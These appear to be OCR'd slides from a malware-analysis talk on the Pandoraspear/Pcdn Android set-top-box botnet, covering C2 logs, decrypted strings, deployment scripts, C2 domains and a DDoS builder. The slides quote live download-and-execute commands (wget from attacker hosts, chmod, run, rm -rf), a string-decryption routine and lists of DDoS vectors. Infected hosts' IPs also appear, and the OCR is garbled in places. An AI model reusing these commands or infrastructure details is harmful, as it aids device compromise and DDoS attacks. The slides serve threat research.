>	Sep 25, 2	024 @ 22:19:40.988	pandoraspear	179.159.55.39	Brazil	Campinas	1000088e.07-22.06-11556700000080185020193d3d0BR@Campi	nas⊕Claro NXT Telecomunicacoes Ltda@	
>	Sep 25, 2	024 @ 22:19:34.039	<mark>pandoraspear</mark>	45.187.33.4	Brazil	Duque de Caxias	1000@8e.07-21.11-11497722@0014@26568@193d3d@BR@Duque	e de Caxias@Suprema Network Telecom L	TDA®
>	Sep 25, 2	024 @ 22:19:31.053	pandoraspear	88.241.253.170	Turkey	Ankara	1000@a3.06-19.11-21027792@0007@22289@193d3d@TR@Ankar	a@TurkTelecom@	
>	Sep 25, 2	024 @ 22:19:29.000	pandoraspear	177.10.127.237	Brazil	Goncalves	1000012.00B8:4D:43:42:0E:18000080134420		
>	Sep 25, 2	024 @ 22:19:28.646	pandoraspear	189.33.153.65	Brazil	São Paulo	100008e.06-21.12-1146270000008058390193d3d0BR@S o Paulo@Claro NXT Telecomunicacoes Ltda@		
>	Sep 25, 2	824 @ 22:19:26.726	pandoraspear	179.218.9.207	Brazil	Rio de Janeiro	1000008e.07-22.07-1157096900008017390193d3d0BR0Rio de	a Janeiro©Claro NXT Telecomunicacoes	Ltda0
>	Sep 25, 2	024 @ 22:19:26.441	<mark>pandoraspear</mark>	201.51.8.65	Brazil	Campina Grande	1000012.0000:E8:2C:7C:3B:00000080298920		
>	Sep 25, 2	024 @ 22:19:26.339	pandoraspear	200.152.81.5	Brazil	Três Lagoas	100008e.08-23.09-1179570900010043580193d3d0BR0Tr s Lagoas0Matsunaka & Ltda - ME0		
>	Sep 25, 2	824 @ 22:19:26.162	pandoraspear	168.205.101.44	Brazil	Petrópolis	1000012.0000:2E:2D:8B:C9:000008016970		
>	Sep 25, 2	024 @ 22:19:26.024	<mark>pandoraspear</mark>	45.179.21.80	Brazil	Goiânia	1000012.0000:55:BB:1A:FB:0000080315720		
>	Sep 25, 2	024 @ 22:19:25.750	pandoraspear	186.192.58.9	Brazil	Campos dos Goytacazes	1000012.0000:DA:3E:23:27:0000008062800		

Pandoraspear – Command Harvest



120,000+

123.676 hits

Command Format

cmd@cmd_item1@cmd_item2@...@

								123	,676 hits								
					Sep 7	, 2022 @ (07:35:26.6	673 - Oct 17,	2023 @ 07:15:	44.624 per	Month	\sim					
	40000																
	30000																
Count	20000		-														
0	10000																
	0																
		2022-10-01 2	2022-11-01	2022-12-01	2023-01-0	1 202	23-02-01	2023-03-01	2023-04-01	2023-05-	-01 202	3-06-01	2023-07	-01 20	23-08-01	2023-09-01	
								@tir	nestamp per mo	nth							
	Time 🗸		port	msg													
>	Sep 18,	2023 @ 13:58:48.000	9,999	m:6269@cd	/data && rm	-rf a.sh	*.txt *.	log && wget	http://195.1	i4.168.94/a	a.sh && chm	nod 755 a	a.sh && /o	data/a.sh	> txt & @		
>	Sep 18,	2023 @ 13:58:48.000	9,999	m:6269@cd	/data && rm	-rf a.sh	*.txt *.	log && wget	http://195.1	i4.168.94/a	a.sh && chm	nod 755 a	a.sh && /o	data/a.sh	> txt & @		
>	Sep 18,	2023 @ 13:58:48.000	9,999	m:6269@cd	/data && rm	-rf a.sh	*.txt *.	log && wget	http://195.1	i4.168.94/a	a.sh && chm	nod 755 a	a.sh && /o	data/a.sh	> txt & @		
>	Sep 18,	2023 @ 13:58:48.000	9,999	m:6269@cd	/data && rm	-rf a.sh	*.txt *.	log && wget	http://195.1	i4.168.94/a	a.sh && chm	nod 755 a	a.sh && /o	data/a.sh	> txt & @		
>	Sep 18,	2023 @ 11:12:48.000	9,999	m:6269@cd	/data && rm	-rf a.sh	*.txt *.	log && wget	http://195.1	i4.168.94/a	a.sh && chm	nod 755 a	a.sh && /o	data/a.sh	> txt & @		
>	Sep 18,	2023 @ 11:12:47.000	9,999	m:6269@cd	/data && rm	-rf a.sh	*.txt *.	log && wget	http://195.1	i4.168.94/a	a.sh && chm	nod 755 a	a.sh && /o	data/a.sh	> txt & @		
>	Sep 18,	2023 @ 11:12:47.000	9,999	m:6269@cd	/data && rm	-rf a.sh	*.txt *.	log && wget	http://195.1	i4.168.94/a	a.sh && chm	nod 755 a	a.sh && /o	data/a.sh	> txt & @		
>	Sep 18,	2023 @ 11:12:47.000	9,999	m:6269@cd	/data && rm	-rf a.sh	*.txt *.	log && wget	http://195.1	i4.168.94/a	a.sh && chm	nod 755 a	a.sh && /o	data/a.sh	> txt & @		
>	Sep 18,	2023 @ 09:55:09.000	9,999	m:6269@cd	/data && rm	-rf naa.	sh && wge	et http://fa	dfatest.pneyd	.com:8080/	/stb-downlo	ad/tool,	/naa.sh &&	& chmod 75	5 naa.sh &	& /data/naa.sl	h > txt & @
>	Sep 18,	2023 @ 09:55:08.000	9,999	m:6269@cd	/data && rm	-rf naa.	sh && wge	et http://fa	dfatest.pneyd	.com:8080/	/stb-downlo	ad/tool	/naa.sh &&	& chmod 75	5 naa.sh &	& /data/naa.sl	h > txt & @
>	Sep 18,	2023 @ 09:55:08.000	9,999	m:6269@cd	/data && rm	-rf naa.	sh && wge	et http://fa	dfatest.pneyd	.com:8080/	/stb-downlo	ad/tool	/naa.sh &&	& chmod 75	5 naa.sh &	& /data/naa.sl	h > txt & @
>	Sep 8,	2023 @ 15:12:23.000	9,999	m:6269@cd	/data && rm	-rf ./ev	lls/logs/	* & @									
>	Sep 8,	2023 @ 15:12:23.000	9,999	m:6269@cd	/data && rm	-rf ./ev	lls/logs/	* & @									
>	Sep 8,	2023 @ 15:12:22.000	9,999	m:6269@cd	/data && rm	-rf ./ev	lls/logs/	* & @									

Pandoraspear – New Leads



New Implants ➢ Pcdn > Ptcrack ≻ P2p peer > Play station Sysup >••• **URL Pattern** /stb-download/





Inextricable Duo

The Android Pcdn Botnet

Evolution, Algorithm, Harvest, Leads ...

Pcdn - Samples



7 Samples with subtle differences

C:\work\1001night\pandora_final\pandora_pcdn			
n Name	Size		Time
	Up	24/09/27	21:22
pcdn_2018	261984	08/02/29	10:33
pcdn_2018_12	303784	08/02/29	10:33
pcdn_2019	300128	08/02/29	10:33
pcdn_2019_05	263104	09/01/01	00:00
		08/02/29	
pcdn_2021	195252	21/08/12	16:10
pcdn_2021_unpacked		24/09/27	
pcdn_2024_03		24/03/19	
pcdn_2024_03_unpacked	316792	24/09/27	21:18

Key Features

1:Deploy P2P CDN components 2.Execute C2 commands

2021: Packed by Modified UPX

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000)000)00:	7F	45	4C	46-01	01	01	03-00	00	00	00-00	00	00	00	ELF	
000)000	010:	03	00	28	00-01	00	00	00-24	ΕE	02	00-34	00	00	00		4
000)000)20:	00	00	00	00-00	00	00	05-34	00	20	00-03	00	28	00	4	
000)000)30:	00	00	00	00-01	00	00	00-00	00	00	00-00	00	00	00		
000	000)40:	00	00	00	00-5B	F7	02	00-5B	F7	02	00-05	00	00	00	[? [?	
000	000)50:	00	10	00	00-01	00	00	00-00	00	00	00-00	00	03	00		
000	000)60:	00	00	03	00-00	00	00	00-C4	1B	04	00-06	00	00	00		
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00()00()AO:	00	00	00	00-40	75	05	00-40	75	05	00-34	01	00	00	@u□@ul	$\Box 4 \Box$

Pcdn - Algorithm



0004D000	0 5	P7	24	C6	C1	EE.	D0	EE.	62	62	D9	EE.	62	62	CE	DP	*
0004D010																	*
0004D010		DA 9D		DA 53							A2 BE						
																	S.TS.II
0004D030				93						87			8A			9E	.IBB
0004D040				AD					8A		7F					71	pq.pq
0004D050		7F		8A					BF		86					B1	
0004D060				88				B5			8D					78	0.x
0004D070	8B			70				78			FD						xpxq.x
0004D080		A3		B2							77						WSW
0004D090		F2		63							62					6B	Zvbys.bk.m.k
0004D0A0				63					A5		60						.~.cwq.C}bo
0004D0B0	AD			62							B4						ibyb.}.}.}qbzd
0004D0C0		79		79					B4		7A						pybyjtwpzpynv.
0004D0D0		6A		B4					64		79					77	cjw.}qbzdpybyjtw
0004D0E0	00		77		22			72			77				61		w\$>r.rwxp>a
0004D0F0	7D			7B				72			7E				73	23	}>r{.a.r.a~.#bs#
0004D100		64	65		3E				64		73					3E	0de#>gdwd>sbg}#>
0004D110	72			77					70		3E					19	r.rwxp>a }>sbg}.
0004D120				7E					48		3E					78	b{p~g#6HH#>r.rwx
0004D130				7C					67		19				46	BF	p>a }>sbg}x4F.
0004D140	64			79							1F					9A	dyty{d~Д·.
0004D150		95		8E							8D					95	Ѓ·Б·
0004D160		95		90					AC		17					6A	aoaj
0004D170		43		50							50				50		[C.P_\.a^8PkaoP]
0004D180				64						57			51			16	n.CdZWjW.fQZ∖.
0004D190				6A							5C					6F	.ZWjWfQZ\8Pkao
0004D1A0				16					5A		6B						P]n.Q^C]Z.k.na
0004D1B0		61		61					5B		10					5D	`a.a^.T`[[.a^.U]
0004D1C0		51		1D					66		18						YQff·faa.a
0004D1D0		60		5B							6E					61	[`d[`.YQf.nYQf.a
0004D1E0				5B							61					61	[`d[`.[dBBa.]PXa
0004D1F0				61							F1					2C	.a`a8)#,
0004D200		05		32							39						=98.9>
0004D210		C5		F0			3C	31			C7					23	,1"#
0004D220				D5				3D			33					2C	8,8=3<
0004D230				FE		_	3F	3D			FØ			_	2C	20	1/?=,,,.
0004D240		C7			31						29					C6	>1<>1)1=.
0004D250		07		EA					C7		2C					2F	3#,2/
0004D260		04	07		3C		20	33			C6		31			3F	1<3<1"
0004D270				FE				31			28					3C	*
0004D280		C6		31							FE					C5	1"*"
0004D290				20					20		22					3E	">1"*.>
0004D2A0				90					C7	23			20			C7	9)#,=
0004D2B0		39		C7							CB					3E	298.9> 1,1"#8
0004D2C0				30					23		23					FØ	
0004D2D0 0004D2E0		9A FØ		38 3F							3C 2C					C7	°·,8=3<1
		31		3F 3E			70 3C				2C 07			53 33			·····,···,···,,····
0004D2F0 0004D300		E8		E8			23				3C					05 07	>1<>1)1=
0004D300 0004D310	51		C7		33						22				64 F2		#,2/ 1<3<1"*
0004D310 0004D320		FE		20 20							22					2C	
0004D320 0004D330	31		F0 C6		2A				FØ		20 05			22		FØ	
	20			3F 06						22 3F			3E				1"*" ·3<1"*.>9
0004D340 0004D350		33 A4		66 F3			23				3D			39		00 06	· 3<1"".>9)#,=9.
0004D350 0004D360	90 C7			9A							50 F0					06 C7)#,=9. 8.9>
0004D360 0004D370	30		20	9A 31		23	22			23	38		FØ		9A	20	<1,1"#8,
0004D370 0004D380	38	3D		9A		25 3C			31		31			FE	FØ	2C 2F	<1,1#8, 8=3<1/
0004D380 0004D390	38 3F	3D 3D		FØ			38		2C		EA			3E	31	2F 3C	
0004D390 0004D3A0			_	3C						_	33				_		?=,,,>1<
											96						>1)1=
0004D3B0	E8	69	C/	23	2U	52	CS	30	6/	26	90	04	6/	21	30	C/	#,2/1<.

Data Segment Heavily Encrypted

def decbuf(buf):

leng=buf[0]^buf[1]^buf[2]
out=''
for i in range(3, leng+3):
 tmp=((buf[i]^buf[1])-buf[1])&0xff
 out+=chr((tmp^buf[0]))
print(out)

0004D000	8F	B7	2A	35	30	2E	37	2E	31	31	38	2E	31	31	34	3A	*50.7.118.114:
0004D010	31	39	30	39	31	00	16	BC	82	68	74	74	70	34	2F	2F	19091http://
0004D010	25	73	3A	25	64	2F	61	70	69	2F	50	70	6F	72	74	61	%s:%d/api/Pporta
0004D020	60	2F	67	65	74	54	65	72	6D	69	6E	61	60	54	79	70	1/getTerminalTyp
0004D040	65	00	ØA	AD	93	68	74	74	70	3A	2F	2F	25	73	3A	25	ehttp://%s:%
0004D050	64	2F	61	70	69	2F	50	70	6E	72	74	61	60	2F	67	65	d/api/Pportal/ge
0004D060	74	54	65	72	6D	69	6E	61	60	54	79	70	65	3F	7B	22	tTerminalType?{"
0004D070	73	6E	22	3A	22	25	73	22	7D	00	FD	DA	36	70	63	64	sn":"%s"}pcd
0004D080	6E	62	75	73	2E	6F	75	32	73	76	2E	63	6F	6D	00	BC	nbus.ou2sv.com.
0004D090	5A	F2	70	63	64	6E	62	75	73	2D	62	6B	2E	61	32	6B	Znbus-bk.a2k
0004D0A0	33	76	2E	63	6F	6D	00	43	A5	DØ	63	70	20	2D	61	66	3v.com.Cpaf
0004D0B0	20	2F	64	61	74	61	2F	70	32	70	2F	70	6C	61	79	5F	•/data/p2p/play_
0004D0C0	73	74	61	74	69	6F	6E	20	2F	73	79	73	74	65	6D	2F	<pre>station · / system/</pre>
0004D0D0	62	69	6E	2F	70	6C	61	79	5F	73	74	61	74	69	6F	6E	bin/play_station
0004D0E0	00	FD	77	DD	23	21	2F	73	79	73	74	65	6D	2F	62	69	w!/system/bi
0004D0F0	6E	2F	73	68	ØA	62	75	73	79	62	6F	78	20	63	70	20	n/sh.busybox·cp·
0004D100	2D	61	66	20	2F	64	61	74	61	2F	70	63	64	6E	20	2F	-af·/data/pcdn·/
0004D110	73	79	73	74	65	6D	2F	62	69	6E	2F	70	63	64	6E	ØA	system/bin/pcdn.
0004D120	63	68	6D	6F	64	20	37	35	35	20	2F	73	79	73	74	65	chmod∙755∙/syste
0004D130	6D	2F	62	69	6E	2F	70	63	64	6E	ØA	00	78	34	46	2F	m/bin/pcdnx4F/
0004D140	64	61	74	61	2F	70	63	64	6E	00	1F	DF	D8	2F	73	79	data/pcdn/sy
0004D150	73	74	65	6D	2F	62	69	6E	2F	70	6C	61	79	5F	73	74	<pre>stem/bin/play_st</pre>
0004D160	61	74	69	6F	6E	00	D2	F2	AC	23	21	2F	73	79	73	74	ation#!/syst
0004D170	65	6D	2F	62	69	6E	2F	73	68	0 A	62	75	73	79	62	6F	em/bin/sh.busybo
0004D180	78	20	6D	76	20	2F	64	61	74	61	2F	70	63	64	6E	20	x·mv·/data/pcdn·
0004D190 0004D1A0	2F 62	64	61	74	61	2F	2E	70 6F	63 64	64 20	6E 75	0A	62	75	73	79 73	/data/.pcdn.busy
0004D1A0	72	6F 73	78 2E	20 73	63 68	68 20	66	ог 72	65	65	2E	2B 73	78 68	20 20	67	75 6F	box·chmod·u+x··s rs.sh·free.sh·go
0004D160	6B	63	70	2F	2A	20	70	32	70	2F	2E 2A	20	73	73	2F	73	kcp/*·p2p/*·ss/s
0004D1C0	65	72	76	65	72	20	6B	63	70	2F	78	6B	63	70	2F	73	erver·kcp/xkcp_s
0004D1E0	65	72	76	65	72	20	65	76	60	60	73	2F	6F	62	64	73	erver·evlls/objs
0004D1F0	2F	73	72	73	ØA	00	90	A4	9D	23	21	2F	73	79	73	74	/srs#!/syst
0004D200	65	6D	2F	62	69	6E	2F	73	68	ØA	69	66	20	5B	20	21	em/bin/sh.if·[·!
0004D210	20	2D	66	20	22	2F	64	61	74	61	2F	73	72	73	2E	73	<pre>f."/data/srs.s</pre>
0004D220	68	22	20	5D	ØA	74	68	65	6E	ØA	63	64	20	64	61	74	h"·].then.cd·dat
0004D230	61	20	26	26	20	77	67	65	74	20	20	22	68	74	74	70	a·&&·wget··"http
0004D240	ЗA	2F	2F	66	61	64	66	61	2E	64	79	61	6E	6F	65	2E	://fadfa.dyanoe.
0004D250	63	6F	6D	ЗA	38	30	38	30	2F	73	74	62	2D	64	6F	77	com:8080/stb-dow
0004D260	6E	6C	6F	61	64	2F	70	63	64	6E	2E	74	61	72	2E	67	nload/pcdn.tar.g
0004D270	7A	22	20	26	26	20	74	61	72	20	78	66	20	70	63	64	z"·&&·tar·xf·pcd
0004D280	6E	2E	74	61	72	2E	67	7A	20	26	26	20	72	6D	20	2D	n.tar.gz·&&·rm·-
0004D290	72	66	20	70	63	64	6E	2E	74	61	72	2E	67	7A	0A	66	rf·pcdn.tar.gz.f
0004D2A0	69 62	0A 69	00 6E	90	A4 73	9D 68	23 0A	21 69	2F 66	73 20	79 5B	73 20	74	65 20	6D 2D	2F	i#!/system/
0004D2B0 0004D2C0	20	22	6E 2F	2F 64	61	58 74	61	2F	73	72	5B 73	20 2E	21 73	20 68	20	66 20	<pre>bin/sh.if·[·!·-f ·"/data/srs.sh"·</pre>
0004D2C0	5D	0A	74	68	65	6E	0A	63	64	20	64	61	74	61	20	26	1.then.cd·data·&
0004D2E0	26	20	77	67	65	74	20	20	22	68	74	74	70	3A	2F	2F	& wget · · "http://
0004D2F0	66	61	64	66	61	2E	64	79	61	6F	6F	65	2E	63	6F	6D	fadfa.dyanoe.com
0004D300	3A	38	30	38	30	2F	73	74	62	2D	64	6F	77	6E	60	6F	:8080/stb-downlo
0004D310	61	64	2F	70	63	64	6E	2E	74	61	72	2E	67	74	22	20	ad/pcdn.tar.gz"·
0004D320	26	26	20	74	61	72	20	78	66	20	70	63	64	6E	2E	74	&&·tar·xf·pcdn.t
0004D330	61	72	2E	67	7A	20	26	26	20	72	6D	20	2D	72	66	20	ar.gz·&&·rm·-rf·
0004D340	70	63	64	6E	2E	74	61	72	2E	67	7A	ØA	66	69	ØA	00	pcdn.tar.gz.fi
0004D350	90	A4	9D	23	21	2F	73	79	73	74	65	6D	2F	62	69	6E	#!/system/bin
0004D360	2F	73	68	ØA	69	66	20	5B	20	21	20	2D	66	20	22	2F	/sh.if.[.!f."/
0004D370	64	61	74	61	2F	73	72	73	2E	73	68	22	20	5D	ØA	74	data/srs.sh"·].t
0004D380	68	65	6E	0 A	63	64	20	64	61	74	61	20	26	26	20	77	hen.cd·data·&&·w
0004D390	67	65	74	20	20	22	68	74	74	70	3A	2F	2F	66	61	64	<pre>get · · "http://fad</pre>
0004D3A0	66	61	2E	64	79	61	6E	6F	65	2E	63	6F	6D	3A	38	30	fa.dyanoe.com:80
0004D3B0	38	30	2F	73	74	62	2D	64	6F	77	6E	6C	6F	61	64	2F	80/stb-download/

Pcdn – Deploy PCDN COMPONENTS



2 Steps

- 1. Download pcdn.tar.gz
- 2. Execute components in the archive




0 DC	B "#!/system/bin/sh",0xA
DCB	"if [! -f ",0x22,"/data/srs.sh",0x22,"]",0xA
DCB	"then",0xA
DCB	"cd data && wget ",0x22,"http://fadfa.dyanoe.com:8080/stb-downlo"
DCB	"ad/pcdn.tar.gz",0x22," && tar xf pcdn.tar.gz && rm -rf pcdn.tar."
DCB	"gz",0xA
DCB	"fi",0xA

- DCB "/data/kcp/xkcp_client -d 0 -c /data/kcp/client.json" DCB 0
- DCB "/data/kcp/xkcp_server -d 0 -c /data/kcp/server.json"
 DCB 0
- DCB "/data/ss/server -c /data/ss/server-multi-port.json > /dev/null 2
- DCB ">&1 &"
- DCB "/data/p2p/play_station > /dev/null 2>&1 &"
- **evlls**: Contains **srs**, a streaming server supporting RTMP, HLS, and HTTP-FLV protocols.
- kcp/kcptun: Network acceleration components.
- **ss**: Shadowsocks service components.
- **p2p**: p2p_peer for networking.
- play_station: Related to video services.

Pcdn - Execute C2 CMD

if (wrap_pthread_create(func_dropstimetask, 0, 0x2000, 10, "dropstimetask"))

- if (wrap_pthread_create(func_dropstask, 0, 0x2000, 10, "dropstask"))
 wrap_pthread_create(func_dropsinittask, 0, 0x2000, 10, "dropsinittask");
- 1. dropstimetask: Manages scheduling.
- 2. dropstask: Communicates with the C2 server to receive commands.
- 3. dropsinittask: Executes the DDoS attacks.



strcpy(v14, "zas8wie.snarutox.com"); *((_DWORD *)v14 + 16) = 0x179FA; strcpy(v14 + 68, "in32hbccw.oneconcord.net"); *((_DWORD *)v14 + 33) = 0x179FA; strcpy(v14 + 136, "pu9z3cca.trumpary.com"); *((_DWORD *)v14 + 50) = 0x179FA; strcpy(v14 + 204, "kp519bpa.fireisi.com"); *((_DWORD *)v14 + 67) = 0x179FA; strcpy(v14 + 272, "hgxx123p.ourhousei.com"); *((_DWORD *)v14 + 84) = 0x179FA;




Pcdn - Harvest



2024.01.16

Bot Harvest



; DATA XREF: sub_450AC+5C¹o ; sub 450AC+601o ... ALIGN 4 DCB "in32hbccw.oneconcord.net",0 ; DATA XREF: sub_450AC+681o ; sub 450AC+6C1o ... ALIGN 8 DCB "pu9z3cca.trumpary.com",0 ; DATA XREF: sub 450AC+74^{to} ; sub_450AC+781o ... ALIGN 0x10 DCB "kp519bpa.fireisi.com",0 ; DATA XREF: sub 450AC+80^{to} ; sub_450AC+841o ... ALIGN 4 DCB "hgxx123p.ourhousei.com",0 ; DATA XREF: sub 450AC+8C¹o ; sub 450AC+901o ...

DCB "zas8wie.snarutox.com",0

Pcdn – New Leads



2 PE DDoS Builder

	1 1 1 1	
名称		修改日期 大小
🚴 Flood.ce690167abeee4326d	5369cceffadaaf	2022/9/30 12:01 应用程序 1,992 KB
🥥 win_ms.0f365eec516cfca6a6	7c2275227c20bc	2021/7/7 16:16 应用程序 517 KB
Address Len	gth Type	e String
🔄 .rodata:00000 000	00008 C	udp <mark>task</mark>
🔄 .rodata:00000 000	00009 C	udp2 <mark>task</mark>
🔄 .rodata:00000 000	0000A C	timer <mark>task</mark>
🔄 .rodata:00000 000	00008 C	tcp <mark>task</mark>
🔄 .rodata:00000 000	00008 C	syn <mark>task</mark>
🔄 .rodata:00000 000	0000 A C	speed <mark>task</mark>
🔄 .rodata:00000 000	0000C C	recvcmd <mark>task</mark>
🔄 .rodata:00000 000	00009 C	icmp <mark>task</mark>
🔄 .rodata:00000 000	0000A C	drops <mark>task</mark>
🔄 .rodata:00000 000	00008 C	diy <mark>task</mark>
🔄 .rodata:00000 000	0000D C	adaptive <mark>task</mark>
🔄 .rodata:00000 000	0003F C	[DROPS] ZDEGJ attack start (IP:%s, port:%d,time:%d,number:%c
🔄 .rodata:00000 000	0003E C	[DROPS] UDP2 attack start (IP:%s, port:%d,time:%d,number:%d
🔄 .rodata:00000 000	0003D C	[DROPS] UDP attack start (IP:%s, port:%d,time:%d,number:%d)
🔄 .rodata:00000 000	0003D C	[DROPS] TCP attack start (IP:%s, port:%d,time:%d,number:%d)\u
🔄 .rodata:00000 000	0003D C	[DROPS] SYN attack start (IP:%s, port:%d,time:%d,number:%d)\
🔄 .rodata:00000 000	0003E C	[DROPS] ICMP attack start (IP:%s, port:%d,time:%d,number:%d)

8 DDoS Vectors in Pcdn

Address	Length	Туре	String	dicmptask dudptask
.text:00044F84 .text:00044F98 .text:00044F98 .text:00044FA8	A000000A	C C C	dropstimetask dropstask drops <mark>inittask</mark>	dsyntask dtcptask dkeeptask dhttptask
				dposttask

ddiy01task.....

DDoS Builder – Slaves



-

Create Slave

✓ Linux
✓ Windows
✓ STB(?)

KQ		TIME
master slave	Sum Box: 0 Band: 0.0 M Out: 0.0 M	Start IIIII Stop MANUAL AUTO I I © COM C syn C udp • udp2 C tcp C icmp C http D DIY I00:00:00:00:00:00:00:00:00:00:00:00:00:
01 RJO2 RJO3 RJO4 RJO5 RJO6 RJO7 RJO8 RJO9	AutoSelect 0 RJ10	O default O Mbps 0 O Self 30 % O manual Tasks 1 Packets 1 Delay 1 Target www.test.com : 80 save
index SLAVES SYS GHz STATE	Band Out	C1 C2 C3 C4 C5 S1 S2 S3 .
index SLAVES SYS GHz STATE	Band Out	C1 C2 C3 C4 C5 S1 S2 S3
index SLAVES SYS GHz STATE	Band Out	

ave	×
Go oline	1
DNS1 ruetsm.mkuspt.com : 10879	
DNS2 stpoto.sdfaf1230app.net Debug	
DNS3 dlewals.adfoiadf892.net	
DNS4 redavss.noip.me C info	
DNS5 alchaes.abdc11.com	
	LIX64
time(s) 300	0_01S
AUS update	0_02S 0_03S
AUS1 http://ustem.swcms1301.com/dl/datins	LIX32
AUS2 http://sarect.noip.me/dl/da/ps	LIX64 WIN
AUS3 http://chsnsge.abdc1com/dl/da/ms	
time(s) Fo0 delay(s) 300	
Version LIX64 - S1.01 Create Slave	

DDoS Builder - STB



eCos Based Set Top Box

String

/home/chenzhen/virtual/share/stb/0_01S_9600HD/drops/../lib/ecos/mips_0/release/../include/ecos /home/chenzhen/virtual/share/stb/0_01S_9600HD/drops/../lib/ecos/mips_0/release/../include/sys /home/chenzhen/virtual/share/stb/0_01S_9600HD/drops/../lib/ecos/mips_0/release/../include /home/chenzhen/virtual/share/stb/0_01S_9600HD/drops/../lib/ecos/mips_0/release/../include/netinet

🔄 CODE:001B06D3	3 000000A	С	tcp_ <mark>flood</mark>
🔄 CODE:001B08BE	3 000000B	С	icmp_ <mark>flood</mark>
🔄 CODE:001B08E3	A000000A	С	syn_ <mark>flood</mark>
🔄 CODE:001B0908	000000B	С	udp2 <mark>_flood</mark>
🔄 CODE:001B091C	A000000A	С	udp_ <mark>flood</mark>
Address	Length	Туре	String
S CODE:001AB978	80000008	С	DDOS <mark>UDP</mark>
CODE:001AB9E4	0000009	С	DDOS <mark>UDP2</mark>
CODE:001ABAF8	0000007	С	<mark>DDOS</mark> CC
CODE:001ABAFF	0000006	С	<mark>DDOS</mark> S
CODE:001ABB18	0000007	С	<mark>DDOS</mark> IE
CODE:001ABDE5	80000008	С	<mark>DDOS</mark> SYN
S CODE:001ABF3E	0000009	С	<mark>DDOS</mark> NULL
S CODE:001ABFC8	0000009	С	<mark>DDOS</mark> ICMP
CODE:001ABFD1	8000000	С	DDOSTCP



The Embedded Configurable Operating System

(eCos) is a free and open-source real-time operating system intended for embedded systems and applications which need only one process with multiple threads. It is designed to be customizable to precise application requirements of run-time performance and hardware needs. It is implemented in the programming languages C and C++ and has compatibility layers and application programming interfaces for Portable Operating System Interface (POSIX) and The Real-time Operating system Nucleus (TRON) variant µITRON. eCos is supported by popular SSL/TLS libraries such as wolfSSL, thus meeting all standards for embedded security.^[2]

DDoS Builder – Rom File



mkuspt.com

slav	/e	2023-09-21		
	Go oliı DNS1	ne <mark>ruetsm.mkuspt.com</mark>	: 10879	
[DNS2	stpoto.sdfaf1230app.net	Debug	
1	DNS3	dlewals.adfoiadf892.net	⊙ null ⊖ info	
I I	DNS4	redavss.noip.me	O warn	
٦	DNS5	alchaes.abdc11.com	○ erro	

Commu	2 /94		
Files Referring (10	D0) ①	Туре	Name
2025-01-14	0 / 61	unknown	rom (1).bin
2024-10-04	0 / 62	unknown	rom.bin
2024-06-18	0 / 64	unknown	/home/cstiuser/label_malware/mal_unanalyzed/6d5195c2a94b85c3995b8cb4d5c5791dec745133baff29385fdfd23c33d85371
2023-11-22	0 / 60	unknown	Emu_SW104_Sha_IPTV_RDS-583WHD_Fonestar_www.fonesteros.com.bin
2023-11-22	0 / 60	unknown	Open Sky miniHD14G1_2016_05_28.bin
2023-07-21	0 / 59	unknown	EMU 100.bin
2023-05-18	0 / 59	unknown	NUEVO-IRIS9700-COMBO(SN 23.00.03.18.10XXXXXX-23.00.05.06.10XXXXXX-23.00.12.10.10XXXXXX).bin
2023-04-17	0 / 59	unknown	FONESTAR_2015_12_25_FTA.bin
2023-02-25	0 / 59	unknown	IRIS9700HD02_07.03.2016_anti ataque.bin

DDoS Builder - Leads



Smartuptool Firmware

0% 6d5195c	2a94b85c3	995b8cb4d5c	c5791dec745	5133baff29385	fdfd2□	T RO
00000000:	53 6D 61	72-74 55 7	70 54-6F 6F	F 6C 52-6F 6D	46 69	SmartUpToo1RomFi
00000010:	6C 65 2D	41-70 70 2	20 73-6F 66	5 74 77-61 72	65 2E	le-App software.
						???□ V□□? □□yP
						? [?□]□
00000040:	00 00 00	40-00 00 0	00 00-00 CC) 0 <u>5</u> 00 <u>-66</u> ED	09 00 /	firmware ″v????□Q?Y??F? □A?□ €??S)
00000050:	00 00 01	80-EC 25 🕯	124-Day	M		l l'Uliman a
0000060:	ଝର୍ଲି ଜିନ୍ଦି) BILLICI	FEC CE	46 81	″v?? ?□Q?Y ??F?
0000070:	14 41 8F	01-02 00 0	00 80-00 00) 00 00 - C6 C5	53 29	[A ?□ € ??S)
				0 00 00-00 00		
00000090:	02 00 00	80-00 00 0	0 00-00 00	0 00 00-00 00	00 00	€

DDoS in Pcdn

h Typ	pe String	dicmptask
0000E C 0000A C 0000E C	drops <mark>task</mark>	k dsyntask dtcptask
(0000E C	0000E C <mark>drops</mark> timetas 0000A C <mark>drops</mark> task

DDoS in firmware

-\$ binwalk	-Me 00c052e85c	cb200367da4ba2be83995ddirectory=/home/kali/mytest grep eCos
512	0×200	eCos kernel exception handler, architecture: MIPSEL, exception vector table base address: 0×80011844
896	0×380	eCos kernel exception handler, architecture: MIPSEL, exception vector table base address: 0×80011844
437483	0×6ACEB	<pre>eCos RTOS string reference: "ecos_bestws"</pre>
488436	0×773F4	<pre>eCos RTOS string reference: "ecos_usb_serial_get_config"</pre>
673304	0×A4618	Cos RTOS string reference: "ECOS"
699404	0×AAC0C	<pre>eCos RTOS string reference: "eCos_node"</pre>
704360	0×ABF68	eCos RTOS string reference: "oCos"
709164	0×AD22C	<pre>eCos RTOS string reference: "ecos_3G/Kernel/ecos-he/packages/net/ppp/current/src/lcp.c"</pre>
709179	0×AD23B	<pre>eCos RTOS string reference: "ecos-he/packages/net/ppp/current/src/lcp.c"</pre>
712768	0×AE040	<pre>eCos RTOS string reference: "ecos_3G/Kernel/ecos-he/packages/infra/current/src/tcdiag.cxx"</pre>
712783	0×AE04F	<pre>aCos RTOS string reference: "ecos-he/packages/infra/current/src/tcdiag.cxx"</pre>
717668	0×AF364	<pre>eCos RTOS string reference: "ecos_stop()"</pre>
717692	0×AF37C	eCos RTOS string reference: "ecos_stop()"

64	72	6F	70-73	74	69	6D-65	74	61	73-6B	00	00	00	dropstimetask
64	72	6F	70-73	74	61	73-6B	00	00	00-64	72	6F	70	dropstask drop
73	69	6E	69-74	74	61	73-6B	00	00	00-64	69	63	6D	sinittask dicm
70	74	61	73-6B	00	00	00-64	75	64	70-74	61	73	6B	ptask dudptask
00	00	00	00-64	73	79	6E-74	61	73	6B-00	00	00	00	dsyntask
64	74	63	70-74	61	73	6B-00	00	00	00-64	6B	65	65	dtcptask dkee
70	74	61	73-6B	00	00	00-64	68	74	74-70	74	61	73	ptask dhttptas
													k dposttask
64	64	69	79-30	31	74	61-73	6B	00	00-30	33	53	00	ddiy01task 03S



A Covert Twin

The eCos Pcdn-Like Botnet

Firmware, C2, Forum ...

